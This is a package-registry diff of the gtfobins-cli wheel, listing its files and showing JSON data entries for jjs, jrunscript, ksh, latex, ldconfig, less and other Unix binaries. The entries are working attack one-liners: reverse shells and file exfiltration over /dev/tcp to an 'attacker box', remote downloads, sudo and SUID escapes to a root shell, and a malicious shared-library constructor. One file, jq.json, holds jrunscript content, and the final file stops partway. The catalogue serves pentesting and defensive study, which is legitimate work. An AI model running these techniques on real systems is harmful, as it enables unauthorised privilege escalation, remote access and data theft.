gtfobins-cli 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -0
- gtfo/cli.py +90 -0
- gtfo/data/apt-get.json +24 -0
- gtfo/data/apt.json +24 -0
- gtfo/data/ar.json +20 -0
- gtfo/data/aria2c.json +24 -0
- gtfo/data/arp.json +20 -0
- gtfo/data/ash.json +24 -0
- gtfo/data/at.json +20 -0
- gtfo/data/atobm.json +20 -0
- gtfo/data/awk.json +46 -0
- gtfo/data/base32.json +19 -0
- gtfo/data/base64.json +19 -0
- gtfo/data/basenc.json +19 -0
- gtfo/data/bash.json +69 -0
- gtfo/data/bpftrace.json +15 -0
- gtfo/data/bundler.json +29 -0
- gtfo/data/busctl.json +15 -0
- gtfo/data/busybox.json +37 -0
- gtfo/data/byebug.json +19 -0
- gtfo/data/cancel.json +10 -0
- gtfo/data/capsh.json +19 -0
- gtfo/data/cat.json +19 -0
- gtfo/data/certbot.json +14 -0
- gtfo/data/check_by_ssh.json +17 -0
- gtfo/data/check_cups.json +15 -0
- gtfo/data/check_log.json +20 -0
- gtfo/data/check_memory.json +15 -0
- gtfo/data/check_raid.json +15 -0
- gtfo/data/check_ssl_cert.json +17 -0
- gtfo/data/check_statusfile.json +15 -0
- gtfo/data/chmod.json +15 -0
- gtfo/data/chown.json +15 -0
- gtfo/data/chroot.json +14 -0
- gtfo/data/cobc.json +14 -0
- gtfo/data/column.json +20 -0
- gtfo/data/comm.json +19 -0
- gtfo/data/composer.json +19 -0
- gtfo/data/cowsay.json +15 -0
- gtfo/data/cowthink.json +14 -0
- gtfo/data/cp.json +32 -0
- gtfo/data/cpan.json +33 -0
- gtfo/data/cpio.json +48 -0
- gtfo/data/cpulimit.json +19 -0
- gtfo/data/crash.json +21 -0
- gtfo/data/crontab.json +16 -0
- gtfo/data/csh.json +24 -0
- gtfo/data/csplit.json +19 -0
- gtfo/data/csvtool.json +31 -0
- gtfo/data/cupsfilter.json +19 -0
- gtfo/data/curl.json +34 -0
- gtfo/data/cut.json +19 -0
- gtfo/data/dash.json +24 -0
- gtfo/data/date.json +20 -0
- gtfo/data/dd.json +24 -0
- gtfo/data/dialog.json +20 -0
- gtfo/data/diff.json +19 -0
- gtfo/data/dig.json +20 -0
- gtfo/data/dmesg.json +22 -0
- gtfo/data/dmsetup.json +14 -0
- gtfo/data/dnf.json +10 -0
- gtfo/data/docker.json +35 -0
- gtfo/data/dpkg.json +20 -0
- gtfo/data/dvips.json +20 -0
- gtfo/data/easy_install.json +53 -0
- gtfo/data/eb.json +15 -0
- gtfo/data/ed.json +34 -0
- gtfo/data/emacs.json +29 -0
- gtfo/data/env.json +19 -0
- gtfo/data/eqn.json +20 -0
- gtfo/data/ex.json +24 -0
- gtfo/data/exiftool.json +20 -0
- gtfo/data/expand.json +20 -0
- gtfo/data/expect.json +19 -0
- gtfo/data/facter.json +14 -0
- gtfo/data/file.json +26 -0
- gtfo/data/find.json +19 -0
- gtfo/data/finger.json +17 -0
- gtfo/data/flock.json +19 -0
- gtfo/data/fmt.json +27 -0
- gtfo/data/fold.json +19 -0
- gtfo/data/ftp.json +26 -0
- gtfo/data/gawk.json +46 -0
- gtfo/data/gcc.json +24 -0
- gtfo/data/gdb.json +66 -0
- gtfo/data/gem.json +28 -0
- gtfo/data/genisoimage.json +15 -0
- gtfo/data/ghc.json +14 -0
- gtfo/data/ghci.json +14 -0
- gtfo/data/gimp.json +57 -0
- gtfo/data/git.json +55 -0
- gtfo/data/grep.json +20 -0
- gtfo/data/gtester.json +19 -0
- gtfo/data/gzip.json +23 -0
- gtfo/data/hd.json +20 -0
- gtfo/data/head.json +19 -0
- gtfo/data/hexdump.json +20 -0
- gtfo/data/highlight.json +19 -0
- gtfo/data/hping3.json +19 -0
- gtfo/data/iconv.json +25 -0
- gtfo/data/iftop.json +20 -0
- gtfo/data/install.json +15 -0
- gtfo/data/ionice.json +19 -0
- gtfo/data/ip.json +28 -0
- gtfo/data/irb.json +47 -0
- gtfo/data/jjs.json +43 -0
- gtfo/data/join.json +19 -0
- gtfo/data/journalctl.json +15 -0
- gtfo/data/jq.json +19 -0
- gtfo/data/jrunscript.json +43 -0
- gtfo/data/ksh.json +60 -0
- gtfo/data/ksshell.json +20 -0
- gtfo/data/latex.json +29 -0
- gtfo/data/latexmk.json +27 -0
- gtfo/data/ld.so.json +20 -0
- gtfo/data/ldconfig.json +17 -0
- gtfo/data/less.json +40 -0
- gtfo/data/logsave.json +19 -0
- gtfo/data/look.json +19 -0
- gtfo/data/ltrace.json +26 -0
- gtfo/data/lua.json +58 -0
- gtfo/data/lualatex.json +20 -0
- gtfo/data/luatex.json +20 -0
- gtfo/data/lwp-download.json +26 -0
- gtfo/data/lwp-request.json +14 -0
- gtfo/data/mail.json +20 -0
- gtfo/data/make.json +26 -0
- gtfo/data/man.json +24 -0
- gtfo/data/mawk.json +34 -0
- gtfo/data/more.json +24 -0
- gtfo/data/mount.json +10 -0
- gtfo/data/mtr.json +15 -0
- gtfo/data/mv.json +15 -0
- gtfo/data/mysql.json +26 -0
- gtfo/data/nano.json +34 -0
- gtfo/data/nawk.json +46 -0
- gtfo/data/nc.json +40 -0
- gtfo/data/nice.json +19 -0
- gtfo/data/nl.json +20 -0
- gtfo/data/nmap.json +82 -0
- gtfo/data/node.json +58 -0
- gtfo/data/nohup.json +24 -0
- gtfo/data/npm.json +14 -0
- gtfo/data/nroff.json +20 -0
- gtfo/data/nsenter.json +14 -0
- gtfo/data/octave-cli.json +30 -0
- gtfo/data/od.json +20 -0
- gtfo/data/openssl.json +55 -0
- gtfo/data/openvpn.json +28 -0
- gtfo/data/openvt.json +10 -0
- gtfo/data/paste.json +19 -0
- gtfo/data/pdb.json +15 -0
- gtfo/data/pdflatex.json +29 -0
- gtfo/data/pdftex.json +19 -0
- gtfo/data/perl.json +35 -0
- gtfo/data/pg.json +24 -0
- gtfo/data/php.json +70 -0
- gtfo/data/pic.json +19 -0
- gtfo/data/pico.json +34 -0
- gtfo/data/pip.json +53 -0
- gtfo/data/pkexec.json +9 -0
- gtfo/data/pkg.json +10 -0
- gtfo/data/pr.json +20 -0
- gtfo/data/pry.json +19 -0
- gtfo/data/psql.json +15 -0
- gtfo/data/puppet.json +26 -0
- gtfo/data/python.json +62 -0
- gtfo/data/rake.json +19 -0
- gtfo/data/readelf.json +20 -0
- gtfo/data/red.json +20 -0
- gtfo/data/redcarpet.json +15 -0
- gtfo/data/restic.json +20 -0
- gtfo/data/rev.json +19 -0
- gtfo/data/rlogin.json +11 -0
- gtfo/data/rlwrap.json +25 -0
- gtfo/data/rpm.json +26 -0
- gtfo/data/rpmquery.json +19 -0
- gtfo/data/rsync.json +19 -0
- gtfo/data/ruby.json +52 -0
- gtfo/data/run-mailcap.json +28 -0
- gtfo/data/run-parts.json +19 -0
- gtfo/data/rview.json +100 -0
- gtfo/data/rvim.json +100 -0
- gtfo/data/sash.json +19 -0
- gtfo/data/scp.json +31 -0
- gtfo/data/screen.json +24 -0
- gtfo/data/script.json +20 -0
- gtfo/data/sed.json +41 -0
- gtfo/data/service.json +14 -0
- gtfo/data/setarch.json +19 -0
- gtfo/data/sftp.json +26 -0
- gtfo/data/sg.json +15 -0
- gtfo/data/shuf.json +28 -0
- gtfo/data/smbclient.json +27 -0
- gtfo/data/snap.json +10 -0
- gtfo/data/socat.json +46 -0
- gtfo/data/soelim.json +20 -0
- gtfo/data/sort.json +19 -0
- gtfo/data/split.json +31 -0
- gtfo/data/sqlite3.json +34 -0
- gtfo/data/ss.json +20 -0
- gtfo/data/ssh-keygen.json +22 -0
- gtfo/data/ssh.json +38 -0
- gtfo/data/ssh_keyscan.json +20 -0
- gtfo/data/start-stop-daemon.json +19 -0
- gtfo/data/stdbuf.json +19 -0
- gtfo/data/strace.json +25 -0
- gtfo/data/strings.json +20 -0
- gtfo/data/su.json +9 -0
- gtfo/data/sysctl.json +20 -0
- gtfo/data/systemctl.json +21 -0
- gtfo/data/tac.json +20 -0
- gtfo/data/tail.json +19 -0
- gtfo/data/tar.json +51 -0
- gtfo/data/taskset.json +19 -0
- gtfo/data/tbl.json +20 -0
- gtfo/data/tclsh.json +25 -0
- gtfo/data/tcpdump.json +15 -0
- gtfo/data/tee.json +20 -0
- gtfo/data/telnet.json +28 -0
- gtfo/data/tex.json +19 -0
- gtfo/data/tftp.json +28 -0
- gtfo/data/time.json +20 -0
- gtfo/data/timeout.json +19 -0
- gtfo/data/tmux.json +14 -0
- gtfo/data/top.json +16 -0
- gtfo/data/troff.json +20 -0
- gtfo/data/ul.json +20 -0
- gtfo/data/unexpand.json +19 -0
- gtfo/data/uniq.json +20 -0
- gtfo/data/unshare.json +19 -0
- gtfo/data/update-alternatives.json +16 -0
- gtfo/data/uuencode.json +19 -0
- gtfo/data/valgrind.json +14 -0
- gtfo/data/vi.json +28 -0
- gtfo/data/view.json +109 -0
- gtfo/data/vim.json +109 -0
- gtfo/data/vimdiff.json +109 -0
- gtfo/data/virsh.json +21 -0
- gtfo/data/watch.json +25 -0
- gtfo/data/wc.json +20 -0
- gtfo/data/wget.json +40 -0
- gtfo/data/whois.json +25 -0
- gtfo/data/wish.json +20 -0
- gtfo/data/xargs.json +35 -0
- gtfo/data/xelatex.json +29 -0
- gtfo/data/xetex.json +19 -0
- gtfo/data/xmodmap.json +20 -0
- gtfo/data/xmore.json +20 -0
- gtfo/data/xxd.json +24 -0
- gtfo/data/xz.json +19 -0
- gtfo/data/yelp.json +10 -0
- gtfo/data/yum.json +20 -0
- gtfo/data/zip.json +24 -0
- gtfo/data/zsh.json +29 -0
- gtfo/data/zsoelim.json +20 -0
- gtfo/data/zypper.json +22 -0
- gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
- gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
- gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
- gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
- gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
- gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/data/jjs.json
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This tool is installed starting with Java SE 8.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | jjs"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"reverse-shell": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
12
|
+
"code": "echo 'var ProcessBuilder = Java.type(\"java.lang.ProcessBuilder\");\nvar p=new ProcessBuilder(\"/bin/bash\", \"-i\").redirectErrorStream(true).start();\nvar Socket = Java.type(\"java.net.Socket\");\nvar s=new Socket(\"[host]\",[port]);\nvar pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nvar po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type(\"java.lang.Thread\").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-download": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
18
|
+
"code": "echo \"var URL = Java.type('java.net.URL');\nvar ws = new URL('[url]');\nvar Channels = Java.type('java.nio.channels.Channels');\nvar rbc = Channels.newChannel(ws.openStream());\nvar FileOutputStream = Java.type('java.io.FileOutputStream');\nvar fos = new FileOutputStream('[file]');\nfos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);\nfos.close();\nrbc.close();\" | jjs\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"file-write": [
|
|
22
|
+
{
|
|
23
|
+
"code": "echo 'var FileWriter = Java.type(\"java.io.FileWriter\");\nvar fw=new FileWriter(\"[file]\");\nfw.write(\"DATA\");\nfw.close();' | jjs\n"
|
|
24
|
+
}
|
|
25
|
+
],
|
|
26
|
+
"file-read": [
|
|
27
|
+
{
|
|
28
|
+
"code": "echo 'var BufferedReader = Java.type(\"java.io.BufferedReader\");\nvar FileReader = Java.type(\"java.io.FileReader\");\nvar br = new BufferedReader(new FileReader(\"[file]\"));\nwhile ((line = br.readLine()) != null) { print(line); }' | jjs\n"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"suid": [
|
|
32
|
+
{
|
|
33
|
+
"description": "This has been found working in macOS but failing on Linux systems.",
|
|
34
|
+
"code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()\" | ./jjs"
|
|
35
|
+
}
|
|
36
|
+
],
|
|
37
|
+
"sudo": [
|
|
38
|
+
{
|
|
39
|
+
"code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | sudo jjs"
|
|
40
|
+
}
|
|
41
|
+
]
|
|
42
|
+
}
|
|
43
|
+
}
|
gtfo/data/join.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"code": "join -a 2 /dev/null [file]\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"suid": [
|
|
9
|
+
{
|
|
10
|
+
"code": "join -a 2 /dev/null [file]\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sudo join -a 2 /dev/null [file]\n"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply. This might not work if run by unprivileged users depending on the system configuration.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "journalctl\n!/bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo journalctl\n!/bin/sh\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/jq.json
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This tool is installed starting with Java SE 6.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\""
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"reverse-shell": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
12
|
+
"code": "jrunscript -e 'var p=new java.lang.ProcessBuilder(\"/bin/bash\", \"-i\").redirectErrorStream(true).start();\nvar s=new java.net.Socket(\"[host]\",[port]);\nvar pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nvar po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){\nwhile(pi.available()>0)so.write(pi.read());\nwhile(pe.available()>0)so.write(pe.read());\nwhile(si.available()>0)po.write(si.read());\nso.flush();po.flush();\njava.lang.Thread.sleep(50);\ntry {p.exitValue();break;}catch (e){}};p.destroy();s.close();'\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-download": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
18
|
+
"code": "jrunscript -e \"cp('[url]','[file]')\"\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"file-write": [
|
|
22
|
+
{
|
|
23
|
+
"code": "jrunscript -e 'var fw=new java.io.FileWriter(\"[file]\"); fw.write(\"DATA\"); fw.close();'"
|
|
24
|
+
}
|
|
25
|
+
],
|
|
26
|
+
"file-read": [
|
|
27
|
+
{
|
|
28
|
+
"code": "jrunscript -e 'br = new BufferedReader(new java.io.FileReader(\"[file]\")); while ((line = br.readLine()) != null) { print(line); }'"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"suid": [
|
|
32
|
+
{
|
|
33
|
+
"description": "This has been found working in macOS but failing on Linux systems.",
|
|
34
|
+
"code": "./jrunscript -e \"exec('/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')\""
|
|
35
|
+
}
|
|
36
|
+
],
|
|
37
|
+
"sudo": [
|
|
38
|
+
{
|
|
39
|
+
"code": "sudo jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\""
|
|
40
|
+
}
|
|
41
|
+
]
|
|
42
|
+
}
|
|
43
|
+
}
|
gtfo/data/ksh.json
ADDED
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "ksh"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"reverse-shell": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
11
|
+
"code": "ksh -c 'ksh -i > /dev/tcp/[host]/[port] 2>&1 0>&1'\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"file-upload": [
|
|
15
|
+
{
|
|
16
|
+
"description": "Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
17
|
+
"code": "ksh -c 'echo -e \"POST / HTTP/0.9\\n\\n$(cat [file])\" > /dev/tcp/[host]/[port]'\n"
|
|
18
|
+
},
|
|
19
|
+
{
|
|
20
|
+
"description": "Send local file using a TCP connection. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.",
|
|
21
|
+
"code": "ksh -c 'cat [file] > /dev/tcp/[host]/[port]'\n"
|
|
22
|
+
}
|
|
23
|
+
],
|
|
24
|
+
"file-download": [
|
|
25
|
+
{
|
|
26
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
27
|
+
"code": "ksh -c '{ echo -ne \"GET /[file] HTTP/1.0\\r\\nhost: [host]\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n 3<>/dev/tcp/[host]/[port] \\\n | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } > [file]'\n"
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"description": "Fetch remote file using a TCP connection. Run 'nc -l -p [port] < [file]' on the attacker box to send the file.",
|
|
31
|
+
"code": "ksh -c 'cat < /dev/tcp/[host]/[port] > [file]'\n"
|
|
32
|
+
}
|
|
33
|
+
],
|
|
34
|
+
"file-write": [
|
|
35
|
+
{
|
|
36
|
+
"code": "ksh -c 'echo DATA > [file]'\n"
|
|
37
|
+
}
|
|
38
|
+
],
|
|
39
|
+
"file-read": [
|
|
40
|
+
{
|
|
41
|
+
"description": "It trims trailing newlines.",
|
|
42
|
+
"code": "ksh -c 'echo \"$(<[file])\"'\n"
|
|
43
|
+
},
|
|
44
|
+
{
|
|
45
|
+
"description": "It trims trailing newlines.",
|
|
46
|
+
"code": "ksh -c $'read -r -d \\x04 < [file]; echo \"$REPLY\"'\n"
|
|
47
|
+
}
|
|
48
|
+
],
|
|
49
|
+
"suid": [
|
|
50
|
+
{
|
|
51
|
+
"code": "./ksh -p"
|
|
52
|
+
}
|
|
53
|
+
],
|
|
54
|
+
"sudo": [
|
|
55
|
+
{
|
|
56
|
+
"code": "sudo ksh"
|
|
57
|
+
}
|
|
58
|
+
]
|
|
59
|
+
}
|
|
60
|
+
}
|
gtfo/data/ksshell.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Each line is corrupted by a prefix string. Also consider that lines are actually parsed as 'kickstart' scripts thus some file contents may lead to unexpected results.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "ksshell -i [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./ksshell -i [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo ksshell -i [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/latex.json
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-read": [
|
|
9
|
+
{
|
|
10
|
+
"description": "The read file will be part of the output.",
|
|
11
|
+
"code": "latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"description": "The read file will be part of the output.",
|
|
17
|
+
"code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
|
|
18
|
+
},
|
|
19
|
+
{
|
|
20
|
+
"code": "sudo latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
|
|
21
|
+
}
|
|
22
|
+
],
|
|
23
|
+
"limited-suid": [
|
|
24
|
+
{
|
|
25
|
+
"code": "./latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
|
|
26
|
+
}
|
|
27
|
+
]
|
|
28
|
+
}
|
|
29
|
+
}
|
gtfo/data/latexmk.json
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This allows to execute Perl code.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "latexmk -e 'exec \"/bin/sh\";'"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"code": "latexmk -latex='/bin/sh"
|
|
10
|
+
}
|
|
11
|
+
],
|
|
12
|
+
"file-read": [
|
|
13
|
+
{
|
|
14
|
+
"code": "latexmk -e 'open(X,\"[file]\");while(<X>){print $_;}exit'"
|
|
15
|
+
},
|
|
16
|
+
{
|
|
17
|
+
"description": "The read file will be part of the output.",
|
|
18
|
+
"code": "TF=$(mktemp)\necho '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}' >$TF\nstrings tmp.dvi\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"sudo": [
|
|
22
|
+
{
|
|
23
|
+
"code": "sudo latexmk -e 'exec \"/bin/sh\";'"
|
|
24
|
+
}
|
|
25
|
+
]
|
|
26
|
+
}
|
|
27
|
+
}
|
gtfo/data/ld.so.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "'ld.so' is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with:\n```\n$ strings /proc/self/exe | head -1\n/lib64/ld-linux-x86-64.so.2\n```",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "/lib/ld.so /bin/sh"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./ld.so /bin/sh -p"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo /lib/ld.so /bin/sh"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/ldconfig.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Follows a minimal example of how to use the described technique (details may change across different distributions). Run the code associated with the technique. Identify a target SUID executable, for example the 'libcap' library of 'ping':\n\n```\n$ ldd /bin/ping | grep libcap\n libcap.so.2 => /tmp/tmp.9qfoUyKaGu/libcap.so.2 (0x00007fc7e9797000)\n```\n\nCreate a fake library that spawns a shell at bootstrap:\n\n```\necho '#include <unistd.h>\n\n__attribute__((constructor))\nstatic void init() {\n execl(\"/bin/sh\", \"/bin/sh\", \"-p\", NULL);\n}\n' >\"$TF/lib.c\"\n```\n\nCompile it with:\n\n```\ngcc -fPIC -shared \"$TF/lib.c\" -o \"$TF/libcap.so.2\"\n```\n\nRun 'ldconfig' again as described below then just run 'ping' to obtain a root shell:\n\n```\n$ ping\n# id\nuid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)\n```",
|
|
3
|
+
"functions": {
|
|
4
|
+
"sudo": [
|
|
5
|
+
{
|
|
6
|
+
"description": "This allows to override one or more shared libraries. Beware though that it is easy to *break* target and other binaries.",
|
|
7
|
+
"code": "TF=$(mktemp -d)\necho \"$TF\" > \"$TF/conf\"\n# move malicious libraries in $TF\nsudo ldconfig -f \"$TF/conf\"\n"
|
|
8
|
+
}
|
|
9
|
+
],
|
|
10
|
+
"limited-suid": [
|
|
11
|
+
{
|
|
12
|
+
"description": "This allows to override one or more shared libraries. Beware though that it is easy to *break* target and other binaries.",
|
|
13
|
+
"code": "TF=$(mktemp -d)\necho \"$TF\" > \"$TF/conf\"\n# move malicious libraries in $TF\n./ldconfig -f \"$TF/conf\"\n"
|
|
14
|
+
}
|
|
15
|
+
]
|
|
16
|
+
}
|
|
17
|
+
}
|
gtfo/data/less.json
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "less /etc/profile\n!/bin/sh\n"
|
|
6
|
+
},
|
|
7
|
+
{
|
|
8
|
+
"code": "VISUAL=\"/bin/sh -c '/bin/sh'\" less /etc/profile\nv\n"
|
|
9
|
+
}
|
|
10
|
+
],
|
|
11
|
+
"file-read": [
|
|
12
|
+
{
|
|
13
|
+
"code": "less [file]"
|
|
14
|
+
},
|
|
15
|
+
{
|
|
16
|
+
"description": "This is useful when 'less' is used as a pager by another binary to read a different file.",
|
|
17
|
+
"code": "less /etc/profile\n:e [file]\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"file-write": [
|
|
21
|
+
{
|
|
22
|
+
"code": "echo DATA | less\n[file]\nq\n"
|
|
23
|
+
},
|
|
24
|
+
{
|
|
25
|
+
"description": "This invokes the default editor to edit the file. The file must exist.",
|
|
26
|
+
"code": "less [file]\nv\n"
|
|
27
|
+
}
|
|
28
|
+
],
|
|
29
|
+
"sudo": [
|
|
30
|
+
{
|
|
31
|
+
"code": "sudo less /etc/profile\n!/bin/sh\n"
|
|
32
|
+
}
|
|
33
|
+
],
|
|
34
|
+
"suid": [
|
|
35
|
+
{
|
|
36
|
+
"code": "./less [file]"
|
|
37
|
+
}
|
|
38
|
+
]
|
|
39
|
+
}
|
|
40
|
+
}
|
gtfo/data/logsave.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "logsave /dev/null /bin/sh -i"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "sudo logsave /dev/null /bin/sh -i"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./logsave /dev/null /bin/sh -i -p"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/look.json
ADDED
gtfo/data/ltrace.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The file is parsed as a configuration file and its content is shown as error messages, thus this is not suitable to exfiltrate binary files.",
|
|
6
|
+
"code": "ltrace -F [file] /dev/null\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-write": [
|
|
10
|
+
{
|
|
11
|
+
"description": "The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of 'ltrace -F [data]'.",
|
|
12
|
+
"code": "ltrace -s 999 -o [file] ltrace -F [data]\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"shell": [
|
|
16
|
+
{
|
|
17
|
+
"code": "ltrace -b -L /bin/sh"
|
|
18
|
+
}
|
